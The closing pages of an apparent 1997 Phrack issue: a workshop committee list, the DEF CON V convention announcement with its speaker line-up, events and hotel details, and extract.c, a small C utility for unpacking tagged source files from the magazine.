Taher ElGamal, Netscape Corp., USA
Stephen Farrell, Software and Systems Engineering, Ireland
Takeo Hamada, Fujitsu, Japan
Matthias Hirsch, BSI (Federal Department of Security in the Information
	Technology-Germany
Cynthia L Musselman, Sandia Lab, USA
Lisa Pretty, Certicom Corp., Canada
Jeffrey Parrett, LLNL, USA
Sumitra Reddy, West Virginia University, USA
Nahid Shahmehri, Linkoping University, Sweden
Morris Sloman, Department of Computing: Imperial College, UK
Badie Taha, Al-Quds University, Jerusalem
Robert Thomys, BSI (Federal Department of Security in the Information
	Technology-Germany
Tatu Ylonen, SSH Communication Security, Finlad
Nick Zhang, EIT, USA



Internet Hot-line
================= 

Information on Enterprise Security Workshop may be obtained through
the WWW using the URL http://www.cerc.wvu.edu/SECWK/ 

For more information on WET-ICE'97, visit the URL: 
http://www.cerc.wvu.edu/WETICE/WETICE97.html

One does not need to have a paper to attend the workshop.  

[=-------------------------------------------------------------------------=]


-----BEGIN PGP SIGNED MESSAGE-----

READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIB

            DEF CON V Convention Announcement #1.08 (04.09.97)
         July 11-13th @ the Aladdin Hotel and Casino in Las Vegas

    XXXXXXXXXXXXXXXXXXXXXXXX XX      DEF CON V Convention Announcement
    XXXXXXXxxxxXXXXXXXXXXXXXXX XX    DEF CON V Convention Announcement
    XXXXXXxxxxxxXXXXXX  X    X       DEF CON V Convention Announcement
    XXXXXxxxxxxxxXXXXXXX  X          DEF CON V Convention Announcement
    XXXXxxxxxxxxxxXXXX XXXXXXXXX     DEF CON V Convention Announcement
    XXXxxxxxxxxxxxxXXXXXXXXXX X      DEF CON V Convention Announcement
    XXxxxxxxxxxxxxxxXXXXXX  XX  X    DEF CON V Convention Announcement
    XXXxxxxxxxxxxxxXXXXXXXX          DEF CON V Convention Announcement
    XXXXxxxxxxxxxxXXXXXXXX X XX      DEF CON V Convention Announcement
    XXXXXxxxxxxxxXXXXXXXXXX  XX X    DEF CON V Convention Announcement
    XXXXXXxxxxxxXXXXXXXXX X          DEF CON V Convention Announcement
    XXXXXXXxxxxXXXXXXXXXXXXXXX       DEF CON V Convention Announcement
    XXXXXXXXXXXXXXXXXXXXXXXXXXXX X   DEF CON V Convention Announcement

READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIB

                    The only convention with free beer!

IN
SHORT:--------------------------------------------------------------------

        WHAT: Speakers and partying in Vegas for all hackers
        WHEN: July 11th - 13th
        WHERE: Las Vegas, Nevada @ the Aladdin Hotel and Casino
        COSTS: $30 in advance, $40 at the door
        MORE INFO: http://www.defcon.org or email info@defcon.org

IN
LONG:---------------------------------------------------------------------

It's time to brave Las Vegas again for DEF CON!  This is an initial
announcement and invitation to DEF CON V, a convention for the
"underground"
elements of the computer culture.  We try to target the (Fill in your
favorite word here): Hackers, Phreaks, Hammies, Virii Coders, Programmers,
Crackers, Cyberpunk Wannabees, Civil Liberties Groups, CypherPunks, 
Futurists, Artists, Criminally Insane, Hearing Impaired.  It seems that
books about the culture are becoming more popular, so of course reporters
are also welcome.  You won't be hurt.  I promise.  Just bring cash for
drinks.

So you heard about DEF CON IV, and want to hit part V?  You heard about the
parties, the info discussed, the bizarre atmosphere of Las Vegas and want
to
check it out in person?  You want to do weird shit _away_ from the hotel
where you can't get me in trouble?  You have intimate knowledge of the
SWIFT
network, and want to transfer millions of dollars to the Def Con account?
Then you're just the person to attend!

What DEF CON is known for is the open discussion of all ideas, the free 
environment to make new contacts and the lack of ego.  More people have
made
great friends at DEF CON over the years than my brain can conceive of.  DEF
CON is also known for letting the "Suits" (Government / Corporate) mix with
everyone and get an idea of what the scene is all about.  The media makes
an
appearance every year and we try to educate them as to what is really going
on.  Basically it has turned into the place to be if you are at all
interested in the computer underground.

[Note]----------------------------------------------------------------------
-

Now last year over 800 people showed up and threw my whole program for a
loop.  I was thinking 500+ people, but when 800 showed up it got a little
crazy for the planning staff.  This year I am planning for 1,000.  This
way I will be able to accommodate everyone and have less logistical screw-
ups.

I would also like to apologize to everyone last year who had temporary
badges for half the convention, etc.  I will do all that is possible for 
maximum coolness, and minimum hassles.   Anyway, enough of my shit, on with
the details.

[End
Note]-------------------------------------------------------------------

SPEAKERS:-------------------------------------------------------------------
-

Over the years DEF CON has had many notable speakers.  This year there will
be more of an emphasis on technical talks.  There will be a separate
smaller
room for break-out sessions of more specific topics.  While the talks of
the
past have been great, it always seems some tech people drop out and general
talks fill in.  I will load it tech heavy so when people do drop out there
will still be plenty of meat left for the propeller heads.

There will be some speaking on Friday evening before Hacker Jeopardy, all
day Saturday and Sunday.  About 20 people will speak, plus smaller tech 
sessions.  If you are interested in speaking or demonstrating something
please contact me.

Current speakers include:

[> If you are interested in speaking please contact me at 
   dtangent@defcon.org

[> Nihil - Windows NT (in)security.  The challenge response system, NT 5.0
   Kerb security services, man in the middle attacks on domain controllers.
   This will be a more technical discussion of NT related security.

[> Koresh - Hacking Novell Netware.

[> Yobie - Emerging infrastructures made possible by Java.  He will describe
   and talk about Java as the foundation for a global, object-oriented
   distributed network.  New concepts and computing paradigms will discussed
   as well as applications for both applications development or straight-out
   hacking.   

[> Mudge - System Administrator for L0pht Heavy Industries.  He will present
   a technical talk on something cool.

[> Clovis - From the Hacker Jeopardy winning team.  He will discuss issues
   with security and networked object systems, looking at some of the
   recent security issues found with activeX and detail some of the
   potentials and problems with network objects. Topics will include
   development of objects, distributed objects, standards, activex, corba,
   and hacking objects.

[> Bruce Schneier - Author of Applied Cryptography and the Blowfish
   algorithm - Why cryptography is harder than it looks.

[> FBI Computer Crime Squad - They will make another appearance this year
   only if I can bribe them with the audio from last years convention.  Can
   I do it in time?

[> Richard Thieme - "The Dynamics of Social Engineering: a cognitive map for
   getting what you need to know, working in networks, and engaging in
   espionage quietly; the uses of paranoia, imagination, and grandiosity
   to build the Big Picture.

[> G. Gillis - Packet Sniffing:  He will define the idea, explain everything
   from 802.2 frames down to the TCP datagram, and explain the mechanisms
   (NIT, bpf) that different platforms provide to allow the hack.

[> Seven - What the feds think of us.

[> RK - Electronic countermeasures, counter espionage, risk management.
   Should include a demonstration of electronic countermeasures equipment
   as well as a talk on what works, what doesn't, and the industry.

[> Tom Farley the Publisher of the "Private Line" journal, and Ken
   Kumasawa of TeleDesign Management - Toll Fraud in the 90s: Two
   perspectives. An overview of phreaking from a hackers point of view and
   an industry/security consultants point. 

[> Michael Quattrocchi - The future of digital cash and a presentation about
   the modernization and state of register-level debit cards; in effect
   currently throughout Canada.

[> Ira Winkler - NCSA - Real life case studies of successful and
   unsuccessful corporate espionage.  


SCHEDULE:-------------------------------------------------------------------
-

FRIDAY:  Network Setup, Sign in, Informal PGP Keysigning at the "PGP
table",
Lots of Partying.  Capture the Flag Contest Starts at 16:00

On Friday there will be the demonstrations of the Radio Burst Cannon, a
"real" rail gun, and an omni-directional cell phone jammer.  Times to be
announced.

10:00 -      Doors open, sign in starts
10:00 -      Movies start in main conference room
16:00 -      Capture the Flag II starts

Breakout Tech Sessions:

19:00 -      Tech Talks starts in break out room

24:00 (Midnight) Hacker Jeopardy Starts.

SATURDAY: 

Speakers from 10:00 to 19:00  This is _NOT_ the order they will speak in.

10:00 - 10:50 Keynote (?)
11:00 - 11:50 Bruce Schneier
12:00 - 12:50 Yobie
13:00 - 13:50 Clovis
14:00 - 14:50 FBI Computer Crime Squad
15:00 - 15:50 Richard Theme
16:00 - 16:50 Seven
17:00 - 17:50 RK
18:00 - 18:50 Tom Farley

Breakout Tech Sessions:

Nihil
Koresh
Mudge
Weld Pond
G. Gillis

24:00 (Midnight) Final rounds of Hacker Jeopardy.

SUNDAY:

Speakers from 10:00 to 16:00 This is _NOT_ the order they will speak in.

10:00 - 10:50 Michael Q.
11:00 - 11:50 Ira Winkler
12:00 - 12:50
13:00 - 13:50
14:00 - 14:50
15:00 - 15:50


Breakout Tech Sessions:



16:00          Awards for Capture the Flag
	       End of it all, cleanup, etc.  See you all next year!

EVENTS:---------------------------------------------------------------------
-

[>     HACKER JEOPARDY:

       Winn is back with Hacker Jeopardy!!  The third year in the running!
       Can the all-powerful Strat and his crypto-minion Erik, whose force
       cannot be contained, be defeated?!  Will the powers that be allow
       Strat-Meister to dominate this beloved event for the third year in
       a row?!  Can Erik continue to pimp-slap the audience into submission
       with a spoon in his mouth?!?  Only Skill, Time, and booze will tell
       the tail!

       The Holy Cow will help supply the beer, you supply the answers.
       The first round starts at 12 midnight o'clock on Friday and lasts
       until it is done.  The second and secret rounds will happen Saturday
       at midnight.

       6 teams will be picked at random and compete for the final round.
       There can be only one!  Strat's Team, the winners from last year
       will defend if all the members can be found.

[>     FREE BEER!
       
       Holy Cow will provide free beer tickets!  If you are over 21 prepare
       to consume "hacker" beers.  Actually it's whatever beer they have on
       tap, but it's the best beer in Las Vegas.  Follow Las Vegas Blvd. up
       until you see the florescent cow with the big sunglasses.  All taxi 
       drivers know of this Mecca.  Over 1,000 free beers in all!

[>     BLACK AND WHITE BALL:

       We've talked it over, and the verdict is in.  For the last two years

       at DEF CON there has been a sort of unspoken Saturday night dress up
       event.  People have worn everything from party dresses and Tuxedoes 
       to AJ's ultra pimp Swank outfit with tiger print kilt.  This year it
       is official.  Wear your cool shit Saturday night, be it gothic or
PVC
       vinyl or Yakuza looking black MIBs.  No prizes, just your chance to 
       be the uber-bustah pimp.
      
[>     THE TCP/IP DRINKING GAME:

       If you don't know the rules, you'll figure 'em out.

[>     CAPTURE THE FLAG:
       The second year of capture the flag is back. With the lessons
learned
       from last year the contest should be more interesting and intense.
       Up to six machines will be connected running different operating
       systems.  The object is to control as many machines as possible at
       certain time periods.  You can form teams or go it lone star.  There
       will be valuable cash prizes and redeemable coupons for those who
       come in first and second, plus various runner up stuffs.  

       Four protocols (TCP/IP, NetBeui, IPX, and x.25!  Yes, you heard
       right, x.25) and three segments with 2 boxes per segment.  Pick your
       segment, protect your boxes.  At all times you must have a WWW
       server (port 80), finger, and mail working.  There will be several
       stock operating systems on the network including linux, FreeBsd,
       Windows NT, Novell, Some Apple System 7.x, and who knows what else.

       More specifics as time goes on.

[>     VIRTUAL WORLD:

       We are working on the group discounts like the last two years.

[>     QUAKE COMPETITION:

       http://www.ctive.com/ntech/defcon.htm

       This year knightPhlight contacted me and wanted to organize a single
       elimination Quake competition to find out who that badest ass 'mo
'fo
       is.  Check out the web site to get the rules, sign up, or to
       donate a computer the greater good of destruction.

       It is IMHO that Quake by id Software rules 3D action gaming. But who
       rules Quake?  We'll find out this July 11th-13th at the DefCon
       Conference in Las Vegas. This isn't going to be a networked game
       intent on quickly eliminating as many players as possible in a
single
       round. Rather, one-on-one games will be played to absolutely
       determine who the best really is.

       Of course, you already know your the best so why would you feel
       obligated to prove it? Because we'll give the first place winner
       $750. Now, being the wily person you are, I bet you would like to
       know where I got the money for the prizes. It'll come from your
       registration fee of $7.50.  Any half wit can do the math and see the
       10,000% return for the winner. But just for entering you'll be in a
       drawing for really kewl stuff. If you don't think its kewl you can
       just give us your email address and we'll be happy to send you a
       couple hundred thousand messages explaining why the prizes are
great.

[>     NET CONNECTION:

       This year we are pre-building many of the network boxes so the net
       can go up first thing Friday.  It looks like we will have a T1 line
       and we will break it out to 10 BaseT hubs.  If you want in on the 
       network bring along the appropriate cables and adapters.

       More Net Madness!  The T1 bandwidth will allow us to do the 
       following cool stuff:

       - Have several color quickcams and a CU-SeeMe reflector site set
       up so people not at the con can check out what's going on.  During
       the convention check out the DEF CON web site to get the location
       of the reflector site.  You should get and install the software
       needed to view CU-SeeMe streams in advance!

       - Have a RealAudio server set up to stream the speakers talks to
       those who can not attend.

       - Potentially play a competitive multi user game(s) over the net.

       NOTE!  If you wish to participate interactively with the convention
       please e-mail me and we can coordinate something.  It would be
       great to get people from all over the world involved.

[>     5th ANNUAL SPOT THE FED CONTEST:

       The ever popular paranoia builder.  Who IS that person next to you?

       "Like a paranoid version of pin the tail on the donkey, the
       favorite sport at this gathering of computer hackers and phone
       phreaks seems to be hunting down real and imagined telephone
       security and Federal and local law enforcement authorities who the
       attendees are certain are tracking their every move.. .. Of course,
       they may be right."
                                                       - John Markhoff, NYT

       Basically the contest goes like this:  If you see some shady MIB
       (Men in Black) earphone penny loafer sunglass wearing Clint Eastwood
       to live and die in LA type lurking about, point him out.  Just get
       my attention and claim out loud you think you have spotted a fed.
       The people around at the time will then (I bet) start to discuss the
       possibility of whether or not a real fed has been spotted.  Once
       enough people have decided that a fed has been spotted, and the
       Identified Fed (I.F.) has had a say, and informal vote takes place,
       and if enough people think it's a true fed, or fed wanna-be, or
       other nefarious style character, you win a "I spotted the fed!"
       shirt, and the I.F. gets an "I am the fed!" shirt.

       NOTE TO THE FEDS:  This is all in good fun, and if you survive
       unmolested and undetected, but would still secretly like an "I am
       the fed!" shirt to wear around the office or when booting in doors,
       please contact me when no one is looking and I will take your
       order(s).  Just think of all the looks of awe you'll generate at
       work wearing this shirt while you file away all the paperwork
       you'll have to produce over this convention.  I won't turn in any
       feds who contact me, they have to be spotted by others.

[>     RAIL GUN DEMONSTRATION: (Friday)

       On Friday afternoon there will be a demonstration of a hand held
       rail gun.  This garage project should be able to fire a graphite
       washer very, very fast.

[>     OMNIDIRECTIONAL CELL PHONE JAMMER DEMONSTRAITON: (Friday)

       Another interesting creation to be tested on Friday in the desert.
       Come along and watch you cell phone antenna explode with power!
       See control channels crumble before you.

[>     RADIO BURST CANNON DEMONSTRATION: (Friday)

       While not quite a HERF gun, this should come close.  The RBC should
       be able to produce up to or less than one MegaWatt for up to or less
       than one second.  What will this do?  Who knows!  Come and find out.
       Obviously the above demonstrations will take place away from the 
       local hospitals and casinos out in the desert someplace, so be
       prepared.


HOTELS:---------------------------------------------------------------------
-

[> Book your room NOW!!!  We have a block of rooms, but it is first come,
[> first served.  Rooms get released about one month before the convention.
[> Book by June 9th or risk it.  The room rates are quite cool this year.


       PRIMARY HOTEL: The Aladdin Hotel and Casino
       3667 Las Vegas Blvd. South, Las Vegas, Nevada
       Built in 1966 it is one of the oldest hotels in Las Vegas that
       hasn't been blown up to make room for newer ones.  It is quite nice
       and has Tennis courts, two swimming pools, Chinese, Vietnamese and
       Korean.  A Seafood and steakhouse, Joe's Diner and a 24 hour coffee
       shop too.  It's located next to the MGM Theme park on the strip.

       PHONE: 1-800-225-2632, reference the "DC Communications conference"
       for reservations.

       RATES: Single & Double rooms are $65 in the Garden section, $85 for
       the Tower.  Suites are $250 to $350.  All costs are plus 8% room
tax.
       Rollaway beds are available for an additional $15 a night.


STUFF IN
VEGAS:--------------------------------------------------------------

URLs

	Listings of other hotels in Las Vegas, their numbers, WWW pages, etc.
	http://www.intermind.net/im/hotel.html
	http://vegasdaily.com/HotelCasinos/HotelAndCasinos/CasinoList.html

VENDORS / SPONSORS /
RESEARCH:-----------------------------------------------

        If you are interested in selling something (shirts, books,
        computers, whatever) and want to get a table contact me for costs.

        If you have some pet research and you want to have the participants
        fill out anonymous questioners please contact me for the best way
        to do this.

        If you want to sponsor any event or part of DEF CON V in return for
        favorable mentions and media manipulation please contact me.  For
        example in the past Secure Computing has sponsored a firewall
        hacking contest.

MORE
INFO:-------------------------------------------------------------------

 [>     DEF CON Voice Bridge (801) 855-3326 

        This is a multi-line voice bbs, VMB and voice conference system.
        There are 5 or so conference areas, with up to eight people on each
        one.  Anyone can create a free VMB, and there are different voice
        bbs sections for separate topics.  This is a good neutral meeting
        place to hook up with others.

        The Voice bridge will be changing numbers soon, but the old number
        will refer you to the new location.  The new spot won't suffer from
        "Phantom" bridges!

 [>     MAILING LIST

        send emial to majordomo@merde.dis.org and in the body of the
message 
        include the following on a separate line each.

        subscribe dc-stuff

        dc-announce is used for convention updates and major announcements,
        dc-stuff is related to general conversation, planning rides and
        rooms, etc.

 [>     WWW Site http://www.defcon.org/

        Convention updates and archives from previous conventions are
housed
        here.  Past speakers, topics, and stuff for sale.  Also a growing
        section of links to other places of interest and current events.

 [>	The Third Annual California Car Caravan to DEF CON!
        http://exo.com/~enigma/caravan/

 [>     The DEF CON V Car ride sharing page:  Use this site to arrange ride
        sharing to the convention from all over North America.  If you can 
        spare a seat for someone, or need to leech a ride go to the ride
        sharing page set up by Squeaky.
        http://www.geocities.com/ResearchTriangle/4955/defcon.html

        Room Sharing Page:
        
 [>     EMAIL dtangent@defcon.org

        Send all email questions / comments to dtangent@defcon.org.  It has
        been said that my email is monitored by various people.  If you
want
        to say something private, please do so with my pgp key (At the 
        bottom of this announcement)  I usually respond to everything, if
        not I'm swamped or had a system problem.

 [>     SNAIL MAIL

        Send all written materials, pre-registrations, etc. to:
        DEF CON, 2709 E. Madison, Seattle WA, 98112
        If you are pre-registering for $30 please make payable to DEF CON
        and include a name to which you want the registration to apply.
        I don't respond to registrations unless you request.

DO YOU WANT TO
HELP?---------------------------------------------------------

        Here is what you can do if you want to help out or participate in
        some way:

        Donate stuff for the continuous give-aways and the various
contests.
        Got extra ancient stuff, or new cool stuff you don't use anymore?
        Donate it to a good cause!  One person was very happy over winning
        an osborne "portable" computer.

        ORGANIZE sharing a room or rides with other people in your area.
        Join the mailing list and let people know you have floor space or
        some extra seats in your car.  Hey, what's the worst that can
        happen besides a trashed hotel room or a car-jacking?

        CREATE questions for hacker jeopardy (you know how the game is
        played) and email them to winn@infowar.com.  No one helped out last
        year, so this year let's try.  Everything from "Famous narks" to
        "unix bugs" is fair game.

        BRING a machine with a 10bt interface card, and get on the local
        network, trade pgp signatures, etc.

FINAL CHECK LIST OF STUFF TO
BRING:------------------------------------------

MY PGP
KEY:------------------------------------------------------------------

- -----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.1

mQCNAy6v5H8AAAEEAJ7xUzvdRFMtJW3CLRs2yXL0BC9dBiB6+hAPgBVqSWbHWVIT
/5A38LPA4zqeGnGpmZjGev6rPeFEGxDfoV68voLOonRPcea9d/ow0Aq2V5I0nUrl
LKU7gi3TgEXvhUmk04hjr8Wpr92cTEx4cIlvAeyGkoirb+cihstEqldGqClNAAUR
tCZUaGUgRGFyayBUYW5nZW50IDxkdGFuZ2VudEBkZWZjb24ub3JnPg==
=ngNC
- -----END PGP PUBLIC KEY BLOCK-----

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBM07aS8tEqldGqClNAQFuSAQAjwGLBdDKA9TKTNAxewgeluvRXPFu+cLf
hQ74qJFtGybyik+Te4FPQI3Uw+wjir/4ES1imyjQ9n9oIOh+E0L3moYxbcQKN7iT
/VWAJXwPNJR8guxGcrRNYO85KXSB2qFrU9JwCwJ/8C5lEi/5FVjqRewpliw68+SW
9jHqxFccQUs=
=PPpy
-----END PGP SIGNATURE-----

EOF


--------------------------------------------------------------------------------


                                .oO Phrack 50 Oo.

                            Volume Seven, Issue Fifty

                                     16 of 16

                      extract.c by Phrack Staff and sirsyko


---------------------8<------------CUT-HERE----------->8---------------------
 
/*  extract.c by Phrack Staff and sirsyko 
 *
 *  Phrack Magazine, 1997 
 *
 *  Extracts textfiles from a specially tagged flatfile into a hierarchical 
 *  directory strcuture. Use to extract source code from any of the articles 
 *  in Phrack Magazine (first appeared in Phrack 50).
 *
 *  gcc -o extract extract.c
 *  
 *  ./extract filename   
 * 
 */   

 
#include <stdio.h>
#include <sys/stat.h>
#include <string.h>

int main(int argc, char **argv){ 

    char *s="<++> ",*e="<-->",b[256],*bp; 
    FILE *f,*o = NULL; 
    int l, n, i=0; 

    l = strlen(s); 
    n = strlen(e); 

    if(argc<2) {
        printf("Usage: %s <inputfile>\n",argv[0]);
        exit(1); 
    }

    if(! (f=fopen(argv[1], "r"))) {
        printf("Could not open input file.\n");
	exit(1);
    }

    while(fgets(b, 256, f)){ 

        if(!strncmp (b, s, l)){ 
	    b[strlen(b)-1] = '\0'; 

	    if((bp=strchr(b+l+1,'/')))
	        while (bp){ 
		    *bp='\0';
		    mkdir(b+l, 0700); 
		    *bp='/';
		    bp=strchr(bp+1,'/'); 
		}
	    if((o = fopen(b+l, "w"))) 
	        printf("- Extracting %s\n",b+l);
	    else {
		printf("Could not extract '%s'\n",b+l);
		exit(1);
	    }
	} 
        else if(!strncmp (b, e, n)){
	    if(o) fclose(o);
	    else {
	        printf("Error closing file.\n");
		exit(1);
	    }
        } 
        else if(o) {
            fputs(b, o);
            i++;
        }
    }
    if(!i) printf("No extraction tags found.\n");
    return(0);
}

---------------------8<------------CUT-HERE----------->8---------------------

EOF



--------------------------------------------------------------------------------